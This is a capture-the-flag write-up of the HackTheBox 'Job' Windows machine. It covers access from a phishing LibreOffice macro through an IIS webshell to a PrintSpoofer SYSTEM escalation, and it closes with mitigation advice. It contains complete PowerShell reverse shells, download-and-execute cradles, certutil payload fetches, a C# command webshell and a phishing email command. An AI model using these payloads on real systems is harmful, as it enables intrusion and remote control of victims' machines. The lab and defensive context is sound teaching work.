Post

Job

Writeup for HackTheBox Job machine

Job

Executive Summary

Job is a Windows Server 2022 machine on HackTheBox that chains three distinct vulnerability classes into full SYSTEM compromise. The engagement demonstrates how a publicly exposed recruitment workflow — combined with a misconfigured developer group permission and a service-account token privilege — can be used to move from unauthenticated external access to root-level control without exploiting any memory-safety bug.

Attack Chain:

  1. SMTP Enumeration — Phishing with a Malicious LibreOffice Document: The web application explicitly invites CV submissions as LibreOffice documents to career@job.local. SMTP VRFY enumeration confirms the internal username jack.black. Metasploit’s openoffice_document_macro module generates a weaponised .odt file embedding a macro that downloads and executes a PowerShell reverse shell (shell.txt) when the document is opened. The phishing email is delivered with sendemail, and the macro executes within seconds of the document being opened on the target, returning a shell as jack.black.

  2. JOB\developers Group — Writable IIS Web Root — ASPX Webshell: Post-compromise enumeration as jack.black reveals membership in the JOB\\developers group, which holds write access to C:\\inetpub\\wwwroot — the IIS web root. A C# ASPX webshell (cmd.aspx) is deployed into the web root via certutil, providing HTTP-controlled command execution as the IIS application pool identity iis apppool\\defaultapppool. A second PowerShell reverse shell (rev.ps1) is staged and triggered through the webshell to obtain an interactive session as that account.

  3. SeImpersonatePrivilege — PrintSpoofer — NT AUTHORITY\SYSTEM: The IIS application pool identity holds SeImpersonatePrivilege, a Windows token privilege that permits a process to impersonate any security context that connects to a named pipe it controls. PrintSpoofer exploits this by creating a named pipe, coercing the Windows Print Spooler service — which runs as SYSTEM — to authenticate to it, and then calling ImpersonateNamedPipeClient followed by CreateProcessAsUser to spawn an arbitrary command under the stolen SYSTEM token. A final PowerShell reverse shell is executed in this context, completing the privilege escalation.


Reconnaissance

Nmap Scan

A two-phase Nmap scan is conducted. The first phase rapidly identifies all open TCP ports using a high packet rate; the second phase runs detailed service version detection and default NSE scripts against only those confirmed open ports.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
kali㉿kali$ nmap -sS -Pn -min-rate 5000 --max-retries 1 -T4 -p- 10.129.234.73

Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-11 06:23 +0000
Nmap scan report for 10.129.234.73
Host is up (0.24s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE SERVICE
25/tcp   open  smtp
80/tcp   open  http
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 27.12 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
kali㉿kali$ nmap -sV -sC -O -A -T4 -Pn -p 25,80,445,3389,5985 10.129.234.73

Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-11 06:26 +0000
Nmap scan report for 10.129.234.73
Host is up (0.26s latency).

PORT     STATE SERVICE       VERSION
25/tcp   open  smtp          hMailServer smtpd
| smtp-commands: JOB, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Job.local
|_http-server-header: Microsoft-IIS/10.0
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: JOB
|   NetBIOS_Domain_Name: JOB
|   NetBIOS_Computer_Name: JOB
|   DNS_Domain_Name: job
|   DNS_Computer_Name: job
|   Product_Version: 10.0.20348
|_  System_Time: 2026-07-11T06:26:28+00:00
|_ssl-date: 2026-07-11T06:27:08+00:00; -17s from scanner time.
| ssl-cert: Subject: commonName=job
| Not valid before: 2026-07-10T06:22:04
|_Not valid after:  2027-01-09T06:22:04
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|10|11|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022
Service Info: Host: JOB; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -16s, deviation: 0s, median: -17s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required

Service Enumeration

PortServiceNotes
25/tcpSMTP (hMailServer)The smtp-commands banner lists VRFY as a supported command — this enables unauthenticated username enumeration against the mail server. AUTH LOGIN is also exposed.
80/tcpHTTP (IIS 10.0)Microsoft IIS 10.0 serving http://job.local. The TRACE method is enabled (minor information disclosure). The page title “Job.local” suggests a recruitment or corporate site.
445/tcpSMBSMB2 with signing enabled but not required — relay attacks are possible but not needed for this path.
3389/tcpRDPThe NTLM negotiation discloses the hostname (JOB), domain (JOB), and exact OS build 10.0.20348 (Windows Server 2022). No domain suffix — this is a standalone workgroup host.
5985/tcpWinRMExposed for remote PowerShell sessions. A valid local credential with appropriate group membership will provide an interactive shell.

Two findings from the scan define the initial attack surface. The SMTP service explicitly advertises VRFY support, which allows username validation without authentication. The IIS web root is titled Job.local, suggesting a job-application workflow — which, as the web enumeration below confirms, explicitly invites document submissions.

The hostname is added to the local resolver:

1
kali㉿kali$ echo "10.129.234.73 job.local" >> /etc/hosts

Web Enumeration — Port 80

Browsing to http://job.local presents the corporate landing page for the Job recruitment portal:

The Job.local IIS web application landing page showing a recruitment notice that reads: 'We are looking for developers! Please send your application to career@job.local! We recently switched to using open source products — please send your cv as a libre office document.'

The landing page contains two critical pieces of intelligence in its visible text:

  • A direct submission email address: career@job.local
  • An explicit instruction to submit CVs as LibreOffice documents

This is the social-engineering pretext that drives the initial access vector. The email address provides a phishing target, and the document format specification tells us exactly which file type will be opened on the server side.

A directory brute-force with Gobuster maps the remaining site structure:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
kali㉿kali$ gobuster dir -u http://10.129.234.73 -w /usr/share/wordlists/dirb/common.txt -x aspx,html

200 /js/scripts.js
200 /assets/favicon.ico
200 /css/styles.css
200 / (Index.html)
403 /js/
403 /css/
403 /assets/
200 /hello.aspx
301 /aspnet_client/
301 /assets/
301 /css/
301 /js/

The presence of /hello.aspx confirms this is an ASP.NET application, meaning ASPX-based webshells will execute natively under the IIS application pool. A /render/ path also surfaces, returning 400 when probed with an external URL parameter — a potential SSRF endpoint. That path is noted for secondary investigation but is not needed given the more direct phishing route offered by the site’s own invitation.


SMTP User Enumeration

The VRFY command in SMTP is designed to allow a client to verify whether a given address is deliverable on the server. When enabled and not rate-limited, it permits unauthenticated enumeration of every valid mailbox on the mail server. smtp-user-enum automates this by sending a VRFY request for each entry in a wordlist and recording which ones the server confirms:

1
kali㉿kali$ smtp-user-enum -M VRFY -U /usr/share/wordlists/names.txt -t 10.129.234.73

The enumeration confirms the following:

  • Domain: job.local
  • Valid mailbox: career@job.local (the phishing target)
  • Valid local user: jack.black (identified as the account that will open the CV on the server side)

jack.black at a high RID implies a manually created, non-default account — consistent with it being the operator who processes incoming applications on the mail server.


Initial Access — Phishing with a Malicious LibreOffice Macro

What is openoffice_document_macro?

The Metasploit module exploit/multi/misc/openoffice_document_macro generates a weaponised .odt (OpenDocument Text) file containing an embedded LibreOffice Basic macro. When the document is opened and macros are enabled, the macro executes an arbitrary OS command — in this case, a PowerShell one-liner that fetches and executes a staged reverse shell payload hosted on the attacker’s HTTP server. The module generates the .odt file and optionally hosts the lure document for download; the actual payload is fetched by the embedded macro at execution time.

The Metasploit console showing the openoffice_document_macro module options being configured for the weaponised ODT delivery:

Metasploit console showing the exploit/multi/misc/openoffice_document_macro module with SRVHOST set to 10.10.14.80, SRVPORT set to 8082, and the cmd option set to a PowerShell IEX download cradle pointing to shell.txt on the attacker's HTTP server.

1
2
3
4
5
6
7
kali㉿kali$ msfconsole
msf6 > use exploit/multi/misc/openoffice_document_macro
msf6 exploit(multi/misc/openoffice_document_macro) > set SRVHOST 10.10.14.80
msf6 exploit(multi/misc/openoffice_document_macro) > set SRVPORT 8082
msf6 exploit(multi/misc/openoffice_document_macro) > set cmd "powershell.exe -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.80:8081/shell.txt');"
msf6 exploit(multi/misc/openoffice_document_macro) > run
[+] msf.odt stored at /home/kali/.msf4/local/msf.odt

The SRVPORT is set to 8082 rather than the default 8081 because port 8081 is already in use by the Python HTTP server that will host shell.txt. The cmd option embeds a PowerShell download cradle into the macro: when the document is opened, the macro calls powershell.exe in a hidden, execution-policy-bypassed context and downloads shell.txt from the attacker’s HTTP server using New-Object Net.WebClient, then immediately passes the downloaded content to Invoke-Expression (IEX) for execution.

The generated ODT artifact: msf.odt

The Staged Payload — shell.txt

The macro’s download cradle fetches shell.txt — a PowerShell TCP reverse shell that establishes a raw socket connection and binds a cmd.exe process to it, redirecting both stdin and stdout over the socket for interactive command execution.`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
function cleanup {
    if ($client.Connected -eq $true) {$client.Close()}
    if ($process.ExitCode -ne $null) {$process.Close()}
    exit
}

# Setup IPADDR
$address = '10.10.14.80'
# Setup PORT
$port = '443'

$client = New-Object system.net.sockets.tcpclient
$client.connect($address,$port)
$stream = $client.GetStream()
$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.UseShellExecute = 0
$process.Start()
$inputstream = $process.StandardInput
$outputstream = $process.StandardOutput
Start-Sleep 1
$encoding = new-object System.Text.AsciiEncoding
while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}
$stream.Write($encoding.GetBytes($out),0,$out.Length)
$out = $null; $done = $false; $testing = 0;

while (-not $done) {
    if ($client.Connected -ne $true) {cleanup}
    $pos = 0; $i = 1
    while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {
        $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)
        $pos+=$read
        if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}
    }
    if ($pos -gt 0) {
        $string = $encoding.GetString($networkbuffer,0,$pos)
        $inputstream.write($string)
        start-sleep 1
        if ($process.ExitCode -ne $null) {cleanup}
        else {
            $out = $encoding.GetString($outputstream.Read())
            while($outputstream.Peek() -ne -1){
                $out += $encoding.GetString($outputstream.Read())
                if ($out -eq $string) {$out = ''}
            }
            $stream.Write($encoding.GetBytes($out),0,$out.length)
            $out = $null
            $string = $null
        }
    } else {cleanup}
}

The shell creates a raw TCP socket connection to 10.10.14.80:443, spawns cmd.exe with both standard input and output redirected to the socket stream, and enters a read-loop that relays commands from the listener to cmd.exe and sends the output back. Port 443 is chosen because outbound HTTPS traffic is rarely blocked or inspected by host-based firewalls.

Delivery Infrastructure

Two listeners are required simultaneously — the HTTP server to serve shell.txt when the macro fetches it, and the Netcat listener to catch the reverse shell callback:

1
2
3
# Terminal 1 — serve shell.txt
kali㉿kali$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 ...
1
2
3
# Terminal 2 — catch the reverse shell
kali㉿kali$ nc -lvnp 443
listening on [any] 443 ...

Phishing Email Delivery

The weaponised document is delivered to the target mailbox using sendemail, a command-line SMTP client. The sender address is crafted to appear as a legitimate applicant:

1
2
kali㉿kali$ sendemail -s job.local -f "sec@vulnlab.com" -t career@job.local -o tls=no -m "hey pls check my cv" -a msf.odt
Jul 11 07:47:49 kali sendemail[285547]: Email was sent successfully!

The sendemail output confirming the phishing email was accepted by the hMailServer SMTP service:

The sendemail command output showing the email with the attached msf.odt document accepted by the hMailServer SMTP service on job.local and delivered successfully to career@job.local.

Shortly after delivery, jack.black opens the document. LibreOffice executes the embedded macro, which triggers the PowerShell download cradle. The HTTP server logs confirm the payload fetch:

1
10.129.234.73 - - [11/Jul/2026 07:48:12] "GET /shell.txt HTTP/1.1" 200 -

The reverse shell callback arrives at the Netcat listener:

1
2
3
4
5
6
7
8
kali㉿kali$ nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.80] from (UNKNOWN) [10.129.234.73] 57414
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\LibreOffice\program>whoami
job\jack.black

The Netcat listener receiving the reverse shell callback from the target as jack.black, with the Windows version banner confirming execution on Windows Server 2022 Build 20348:

Netcat listener terminal output showing an incoming connection from 10.129.234.73 as job\jack.black, with the Microsoft Windows Server 2022 Build 20348 banner visible and the working directory showing C:\Program Files\LibreOffice\program where the document was opened.


Post-Compromise Enumeration as jack.black

With a shell established, the account’s group memberships and token privileges are enumerated to identify the next escalation path:

C:\Users\jack.black>whoami /all

USER INFORMATION
----------------

User Name      SID
============== =============================================
job\jack.black S-1-5-21-3629909232-404814612-4151782453-1000


GROUP INFORMATION
-----------------

Group Name                             Type             SID                                           Attributes
====================================== ================ ============================================= ==================================================
Everyone                               Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
JOB\developers                         Alias            S-1-5-21-3629909232-404814612-4151782453-1001 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users           Alias            S-1-5-32-555                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE               Well-known group S-1-5-4                                       Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113                                     Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

jack.black is a member of JOB\developers. Since IIS is hosting the web application on this machine, the group’s access to the IIS web root is tested directly:

C:\Users\jack.black>icacls C:\inetpub\wwwroot | findstr "developers"
JOB\developers had WRITE access to C:\inetpub\wwwroot

The developers group holds write access to C:\inetpub\wwwroot — the live production IIS web root. Any file written there is immediately serveable by IIS under the application pool’s identity. Because the Gobuster scan earlier confirmed this is an ASP.NET application, an ASPX webshell will execute with System.Diagnostics.Process access in the context of iis apppool\defaultapppool.


Privilege Escalation — ASPX Webshell via Writable Web Root

Deploying the C# ASPX Command Execution Webshell

The command-execution webshell reads the cmd query string parameter on every page load, passes its value to cmd.exe /c, and returns the stdout output inside a <pre> block. It provides a simple HTTP interface for arbitrary OS command execution.

<%@ Page Language="C#" AutoEventWireup="true" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
    string cmd = Request["cmd"];
    if (!string.IsNullOrEmpty(cmd))
    {
        System.Diagnostics.Process process = new System.Diagnostics.Process();
        process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.Arguments = "/c " + cmd;
        process.StartInfo.RedirectStandardOutput = true;
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.CreateNoWindow = true;
        process.Start();
        string output = process.StandardOutput.ReadToEnd();
        Response.Write("<pre>" + output + "</pre>");
    }
}
</script>

The webshell is staged on the attacker’s HTTP server and pulled directly into the IIS web root using certutil, a built-in Windows utility that can act as an HTTP client:

C:\Users\jack.black>certutil -urlcache -f http://10.10.14.80:8081/cmd.aspx C:\inetpub\wwwroot\cmd.aspx
****  Online  ****
CertUtil: -URLCache command completed successfully.

C:\Users\jack.black>dir C:\inetpub\wwwroot\cmd.aspx
07/11/2026  07:49 AM               694 cmd.aspx

The file download confirmation showing the certutil HTTP retrieval of cmd.aspx directly into the IIS web root:

Windows command prompt output showing certutil successfully fetching cmd.aspx from the attacker's HTTP server and writing it to C:\inetpub\wwwroot\cmd.aspx, with the CertUtil -URLCache command completed successfully message visible.

Obtaining a PowerShell Reverse Shell as the IIS Application Pool Identity

With the webshell deployed, a dedicated PowerShell reverse shell (rev.ps1) is staged for download and executed through the webshell’s HTTP interface. This provides an interactive session rather than a single-command response per HTTP request.

1
2
3
4
5
6
7
8
9
10
11
12
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.80',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Unlike shell.txt, which spawns a raw cmd.exe process, rev.ps1 runs in the PowerShell interpreter itself. Each command received is passed to Invoke-Expression (iex), the output is captured with Out-String, a PS prompt string is appended, and the combined response is written back over the socket. This gives a fully interactive PowerShell session rather than a cmd.exe session.

A Netcat listener is started on port 4444, and the webshell triggers the download and execution of rev.ps1:

1
2
kali㉿kali$ nc -lvnp 4444
listening on [any] 4444 ...
1
kali㉿kali$ curl "http://10.129.234.73/cmd.aspx?cmd=powershell.exe%20-nop%20-w%20hidden%20-c%20IEX(New-Object%20Net.WebClient).DownloadString('http://10.10.14.80:8081/rev.ps1')"

The shell connects back as the IIS application pool identity:

1
2
3
4
connect to [10.10.14.80] from (UNKNOWN) [10.129.234.73] 57429

PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool

The IIS application pool reverse shell session confirming execution as iis apppool\defaultapppool via the ASPX webshell:

Netcat listener terminal output showing a PowerShell reverse shell connection from the target as iis apppool\defaultapppool, with the working directory set to C:\windows\system32\inetsrv confirming execution context within the IIS worker process.


Privilege Escalation to SYSTEM — SeImpersonatePrivilege and PrintSpoofer

Token Privilege Enumeration

The token privileges available to iis apppool\defaultapppool are enumerated:

PS C:\windows\system32\inetsrv> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token  Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for proc  Disabled
SeAuditPrivilege              Generate security audits       Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeImpersonatePrivilege        Impersonate a client after...  Enabled
SeCreateGlobalObjects         Create global objects          Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

SeImpersonatePrivilege is enabled. This privilege permits the holder to call ImpersonateNamedPipeClient after a privileged service connects to a named pipe controlled by the current process. Any service running as SYSTEM (or another privileged account) that can be coerced into connecting to an attacker-controlled named pipe becomes a token source for impersonation.

What is PrintSpoofer?

PrintSpoofer (PrintSpoofer64.exe) is a Windows local privilege escalation tool by itm4n that exploits SeImpersonatePrivilege through the Windows Print Spooler service. The attack proceeds in three steps:

  1. Named pipe creation: PrintSpoofer creates a named pipe with a predictable name in the \\.\pipe\ namespace and begins listening.
  2. Spooler coercion: It invokes an internal Windows print system API that causes the Spooler service — running as NT AUTHORITY\SYSTEM — to authenticate to the attacker-controlled named pipe as part of its normal printer notification flow.
  3. Token impersonation and process creation: Once the Spooler connects, ImpersonateNamedPipeClient steals its SYSTEM token. CreateProcessAsUser is then called with the duplicated token to spawn any command under the SYSTEM security context.

The underlying Win32 API pattern that PrintSpoofer implements:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateNamedPipe(
    String lpName, uint dwOpenMode, uint dwPipeMode,
    uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize,
    uint nDefaultTimeOut, IntPtr pipeSecurityDescriptor);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ConnectNamedPipe(IntPtr hHandle, uint lpOverlapped);

[DllImport("Advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateNamedPipeClient(IntPtr hHandle);

protected void SpawnProcessAsPriv(IntPtr oursocket)
{
    string Application = Environment.GetEnvironmentVariable("comspec");
    PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
    STARTUPINFO sInfo = new STARTUPINFO();
    SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
    pSec.Length = Marshal.SizeOf(pSec);
    sInfo.dwFlags = 0x00000101;
    sInfo.hStdInput = oursocket;
    sInfo.hStdOutput = oursocket;
    sInfo.hStdError = oursocket;
    CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
    WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
}

This named-pipe/token-duplication primitive is the same foundation used by RoguePotato, GodPotato, and other SeImpersonatePrivilege abuse tools. PrintSpoofer64.exe encapsulates the entire exploit chain and accepts a single -c argument specifying the command to run under the stolen token.

Exploitation

PrintSpoofer64.exe is staged on the attacker’s HTTP server and downloaded to the target using certutil:

PS C:\windows\system32\inetsrv> certutil -urlcache -f http://10.10.14.80:8081/PrintSpoofer64.exe C:\temp\ps.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

The binary is first tested to confirm the privilege is detected and the impersonation succeeds:

PS C:\windows\system32\inetsrv> C:\temp\ps.exe -c "whoami"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
nt authority\system

With SYSTEM confirmed, a PowerShell reverse shell is executed under the stolen token. A new Netcat listener is started on port 4445, and PrintSpoofer is invoked with the full inline PowerShell TCP reverse shell as the command argument:

1
2
kali㉿kali$ nc -lvnp 4445
listening on [any] 4445 ...
PS C:\windows\system32\inetsrv> C:\temp\ps.exe -c "powershell -c `$client=New-Object System.Net.Sockets.TCPClient('10.10.14.80',4445);`$stream=`$client.GetStream();[byte[]]`$bytes=0..65535|%{0};while((`$i=`$stream.Read(`$bytes,0,`$bytes.Length))-ne 0){;`$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0,`$i);`$sendback=(iex `$data 2>&1 | Out-String );`$sendback2=`$sendback+'PS '+(pwd).Path+'> ';`$sendbyte=([text.encoding]::ASCII).GetBytes(`$sendback2);`$stream.Write(`$sendbyte,0,`$sendbyte.Length);`$stream.Flush()};`$client.Close()"
1
2
3
4
connect to [10.10.14.80] from (UNKNOWN) [10.129.234.73] 57438

PS C:\Windows\system32> whoami
nt authority\system

The SYSTEM-level PowerShell reverse shell after PrintSpoofer successfully impersonates the Spooler service token and spawns the shell under NT AUTHORITY\SYSTEM:

Netcat listener terminal output showing a PowerShell session connected from the target as nt authority\system, with the working directory set to C:\Windows\system32, confirming full SYSTEM-level code execution via PrintSpoofer's SeImpersonatePrivilege exploitation.


Flag Collection

Both flags are retrieved from their respective Desktop locations.

User flag — from jack.black’s Desktop, confirmed during the initial shell session:

C:\>cd C:\Users\jack.black\Desktop

C:\Users\jack.black\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is A9B2-0C2A

 Directory of C:\Users\jack.black\Desktop

11/09/2021  09:43 PM    <DIR>          .
04/16/2025  10:48 AM    <DIR>          ..
07/11/2026  06:22 AM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   5,429,432,320 bytes free

C:\Users\jack.black\Desktop>type user.txt
0a016fc84f4c0eb1970***********

Root flag — from Administrator’s Desktop, read from the SYSTEM shell:

PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
6497616365f1ba4c5a98aaa603a8c5f4

Mitigations and Security Recommendations

Disable SMTP VRFY and EXPN Commands. The VRFY command on hMailServer allows unauthenticated enumeration of every valid mailbox on the server. Disabling or rate-limiting VRFY and EXPN prevents trivial username harvesting that would otherwise remove the need for any credential guessing phase. Most production mail servers have no operational requirement for these commands to be accessible externally.

Harden LibreOffice Macro Execution Policy. The entire initial access vector depends on LibreOffice executing an embedded macro without requiring explicit user approval, or on a user who has been conditioned to click “Enable Macros.” Enforce a Group Policy that sets MacroSecurityLevel to High or Very High, disabling macros from untrusted documents by default. Deploying document sandboxing or routing inbound attachments through a detonation service before delivery would catch this class of payload before it reaches the end user.

Avoid Publishing Internal Workflow Details Publicly. The job posting specified both the exact document format (LibreOffice) and the direct submission address. This information reduced the attacker’s required social-engineering effort to near zero — the pretext was provided by the target itself. Submission instructions should not specify which software the recipient uses to open attachments, and job application addresses should route through a gateway that strips or sandboxes attachments before delivery to an internal mailbox.

Apply Least Privilege to the developers Group. The JOB\developers group should never hold write access to a production IIS web root. Write access to C:\inetpub\wwwroot grants the ability to plant arbitrary code that executes under the web server’s identity. Developer access to web content should flow through a CI/CD pipeline with code review and deployment controls, not direct filesystem write permissions on the production host.

Monitor the IIS Web Root for Unexpected File Changes. File integrity monitoring on C:\inetpub\wwwroot would have detected cmd.aspx at the moment it was written — before any request was made to it. Alerts on new .aspx, .ashx, or .asp files appearing outside of scheduled deployments are a high-signal indicator of webshell deployment.

Remove SeImpersonatePrivilege from IIS Application Pool Identities Where Not Required. SeImpersonatePrivilege is assigned to IIS application pool identities by default for historical compatibility reasons. Where the application does not require impersonation of authenticated callers — which is the case for the vast majority of web applications — this privilege can be removed via Group Policy or by running the application pool under a custom service account with a reduced token. Alternatively, deploying Windows Defender Credential Guard or enforcing token protection policies limits the effectiveness of named-pipe impersonation techniques.

Implement Egress Filtering on Web Server Hosts. Outbound TCP connections from an IIS worker process to arbitrary external IPs over ports 443, 4444, and 4445 are not expected behaviour for a web server. Network-level egress filtering restricting outbound connections from server hosts to known-good destinations would have blocked every reverse shell callback in this chain. Host-based firewall rules on the IIS server should permit only the ports and destinations required for its documented function.

Monitor Process Spawning from IIS Worker Processes. w3wp.exe (the IIS worker process) spawning cmd.exe, powershell.exe, or certutil.exe is a strong indicator of webshell execution. Windows Event ID 4688 with process creation auditing enabled, or EDR telemetry, will surface these spawn chains in near real-time. Alerting on soffice.exe (LibreOffice) or WINWORD.EXE spawning powershell.exe or wscript.exe provides equivalent coverage for macro execution on the initial phishing phase.

This post is licensed under CC BY 4.0 by the author.